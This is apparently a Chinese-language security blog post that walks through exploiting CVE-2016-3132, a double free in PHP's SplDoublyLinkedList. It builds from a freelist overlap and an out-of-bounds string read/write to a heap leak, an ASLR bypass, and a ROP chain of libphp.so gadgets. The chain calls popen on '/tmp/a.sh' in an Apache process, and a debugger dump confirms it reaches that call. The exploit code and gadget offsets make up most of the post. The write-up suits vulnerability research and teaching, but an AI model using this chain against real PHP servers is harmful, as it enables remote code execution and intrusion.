之前有外國牛人發部blog Double Free in Standard PHP Library Double Link List [CVE-2016-3132]
其文章詳述了漏洞成因
#!php
<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )失敗的話，對象就會被free兩次。略過細節，這種漏洞想繼續利用，必須要翻看php源碼對于heap的管理套路了。
所需要知道的是，問題對象SplFixedArray的尺寸讓它存在于php自己維護的一個freelist里面。如果一塊內存的引用計數消耗光，php簡單地把freelist的next指針指向這塊內存，這樣就結束了。如果發生了double free，php里面的freelist會變成這樣：
就是說當下兩次內存申請的時候，兩個對象就會重疊
可以上套路了，重疊字符串類型，修改長度，越界讀寫。
#!cpp
typedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string {
spl_fixedarray *array; zend_refcounted_h gc;
zend_function *fptr_offset_get; zend_ulong h; /* hash value */
zend_function *fptr_offset_set; size_t len;
zend_function *fptr_offset_has; char val[1];
zend_function *fptr_offset_del; };
zend_function *fptr_count;
int current;
int flags;
zend_class_entry *ce_get_iterator;
zend_object std;
} spl_fixedarray_object;
/* }}} */
當然，精心的內存布局還是需要的，比如連續申請大量內存什么的，保證要操作的區域干凈、連續
最后理想的情況就是這樣啦，被改掉長度的字符串后面是整齊排列的SplFixedArray
能做的事情有：
向數組填入內容，這樣劫持了$rip
文章寫到這里就結束了，poc給到0xdeadbeef
#!php
function exception_handler($exception) {
global $z;
$s=str_repeat('C',0x48);
$t=new SplFixedArray2(5);
$t[0]='Z';
unset($z[22]);
unset($z[21]);
$heap_addr=read_ptr($s,0x58);
print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n";
$heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler
write_ptr($s,0x40,0x300); //handler.offset
write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
str_repeat('z',5);
unset($t); //BOOM!
}
演示只是演示，沒實際意義，在真實的生產環境中，這個洞有沒有可能成功利用呢
在此，[email protected]，真的非常好用！
在apache里面php是和libc一樣被當做.so來加載的，所以全套保護都上齊全了
不要慌，我們還有更深的套路
剛才那個長度超長的數組對象，除了可以越界讀堆塊的地址，還可以越界讀對象的函數指針列表地址
這個地址在同一個bin文件里的地址是相對固定的，地址隨機化就這么過掉了。
#!php
$push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];
$pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;
$sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;
$pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;
$pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;
$pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;
$p_popen=0x00000000000d2580+$aslr_offset;//popen
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler
write_ptr($s,$aslr_offset,0x300);
//heap_addr_of_fake_handler and [rax] is here!
write_ptr($s,0x4141414141414141,0x300+0x48);
write_ptr($s,0x0000000000000072,0x300+0x50);//"r"
write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh"
write_ptr($s,0x0000000000000068,0x300+0x60);
write_ptr($s,$push_rax,0x300+0x10);
write_ptr($s,$pop_rsp,0x300+0x36);
write_ptr($s,$sub_rsp,0x300+0x8);
//now,rsp=rax+0x98
write_ptr($s,$pop_rsp,0x300+0x98);
write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);
//now,rsp=rax-0xf0
write_ptr($s,$pop_rsi,0x300-0xf8);
write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);
write_ptr($s,$pop_rdi,0x300-0xe8);
write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);
write_ptr($s,$pop_rbp,0x300-0xd8);
write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);
//now rsp=rax-0xc0,rbp=rax-0xb8
write_ptr($s,$p_popen,0x300-0xc8);
很亂的rop里該有的都有了，包括把棧幀指向剛才操作好的內存堆，方便行事。
#!bash
[----------------------------------registers-----------------------------------]
RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457f
RBX: 0x0
RCX: 0x16
RDX: 0xc4f352ef5bf0be4a
RSI: 0x7fc6edc6ec28 --> 0x72 ('r')
RDI: 0x7fc6edc6ec30 ("/tmp/a.sh")
RBP: 0x7fc6edc6eb20 --> 0x0
RSP: 0x7fc6edc6eb18 --> 0x0
RIP: 0x7fc6f52fa540 (<_IO_new_popen>: push r12)
R8 : 0x20 (' ')
R9 : 0x0
R10: 0x2
R11: 0x38 ('8')
R12: 0x7fc6f2798c1c --> 0x0
R13: 0x7fc6f27ae8c0 --> 0x40 ('@')
R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)
R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fc6f52fa530 <_IO_new_proc_open+848>: jmp 0x7fc6f52fa4da <_IO_new_proc_open+762>
0x7fc6f52fa532: nop DWORD PTR [rax+0x0]
0x7fc6f52fa536: nop WORD PTR cs:[rax+rax*1+0x0]
=> 0x7fc6f52fa540 <_IO_new_popen>: push r12
0x7fc6f52fa542 <_IO_new_popen+2>: push rbp
0x7fc6f52fa543 <_IO_new_popen+3>: mov rbp,rdi
0x7fc6f52fa546 <_IO_new_popen+6>: push rbx
0x7fc6f52fa547 <_IO_new_popen+7>: mov edi,0x100
[------------------------------------stack-------------------------------------]
0000| 0x7fc6edc6eb18 --> 0x0
0008| 0x7fc6edc6eb20 --> 0x0
0016| 0x7fc6edc6eb28 --> 0x0
0024| 0x7fc6edc6eb30 --> 0xc01a000800000001
0032| 0x7fc6edc6eb38 --> 0x1b
0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x1
0048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')
0056| 0x7fc6edc6eb50 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273
別忘了$rsp和$rbp都需要設置好，不然popen不會執行成功的。
最后，有兩點要說明一下：
原文poc提供的read_ptr有問題，讀地址的時候會中間丟掉0
感謝phithon與畢月烏大牛提供正確版本的函數
#!php
function read_ptr(&$mystring,$index=0,$little_endian=1){
$s = "";
for($i = 1; $i <= 8; $i++) {
$s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT);
}
return hexdec($s);
}
另外就是，采用popen這個函數來完成最后的shellcode動作，是因為這個函數在libphp.so的plt里面提供了地址。如果要用system的話，還要到libc里面去找，多算一個模塊的地址，就多了一份麻煩和不穩定。
盡管本文成功繞過所有保護成功執行shellcode，但是實際意義依然有限，因為phplib.so的版本太多啦，很多情況下都是自家編譯出來的，不同的so文件function table的相對位置會不一樣，這樣計算的基質會出錯，當然構造的rop也全都錯了。
php版本多，glibc版本少啊，用glibc做rop啊！用glibc找system函數啊！
除非上面那個被改了長度的數組可以越界讀到一個glibc里面的地址，否則怎樣都還是需要依靠libphp.so的。
以上です。